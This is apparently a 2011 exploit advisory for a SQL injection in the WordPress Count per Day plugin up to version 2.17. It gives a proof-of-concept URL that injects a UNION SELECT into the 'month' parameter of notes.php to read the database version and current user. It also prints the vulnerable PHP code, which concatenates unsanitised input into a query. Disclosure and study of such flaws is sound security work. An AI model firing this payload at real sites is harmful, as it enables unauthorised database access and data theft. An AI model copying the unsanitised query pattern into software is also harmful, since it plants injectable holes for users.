# Exploit Title: WordPress Count per Day plugin <= 2.17 SQL Injection Vulnerability
# Date: 2011-09-05
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/count-per-day.2.17.zip
# Version: 2.17 (tested)
# Note: Authors done one of dirtiest things I've seen in a while :)
# I've warned them 2 weeks ago about the vulnerability
# They've silently updated the affected v2.17 like nothing happened
# No mention of "security" fix in Changelog
---
PoC
---
http://www.site.com/wp-content/plugins/count-per-day/notes.php?month=-1 UNION ALL SELECT 1,version(),current_user()--%20
---------------
Vulnerable code
---------------
if ( isset($_POST['month']) )
$month = $_POST['month']; // they've put (int) here
else if ( isset($_GET['month']) )
$month = $_GET['month']; // they've put (int) here
else
$month = date_i18n('m');
...
$where = '';
if ( $month )
$where .= " AND MONTH(date) = $month ";
if ( $year )
$where .= " AND YEAR(date) = $year ";
$notes = $wpdb->get_results('SELECT * FROM '.$table_prefix.'cpd_notes WHERE 1 '.$where.' ORDER BY date DESC', ARRAY_A);
